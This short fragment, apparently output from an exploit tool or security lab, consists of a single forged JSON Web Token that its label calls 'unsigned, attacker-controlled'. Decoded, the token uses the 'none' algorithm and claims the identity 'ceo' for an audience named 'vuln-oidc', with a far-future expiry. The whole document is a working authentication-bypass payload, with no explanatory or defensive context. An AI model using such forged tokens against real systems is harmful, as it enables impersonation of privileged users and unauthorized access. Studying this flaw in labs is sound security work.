Unsigned, attacker-controlled token for sub=ceo:
"eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiY2VvIiwgInByZWZlcnJlZF91c2VybmFtZSI6ICJjZW8iLCAibmFtZSI6ICJjZW8gKGZvcmdlZCkiLCAiaXNzIjogImh0dHBzOi8vdG90YWxseS5yZWFsLmlzc3Vlci8iLCAiYXVkIjogInZ1bG4tb2lkYyIsICJleHAiOiA5OTk5OTk5OTk5LCAiaWF0IjogMTcwMDAwMDAwMH0."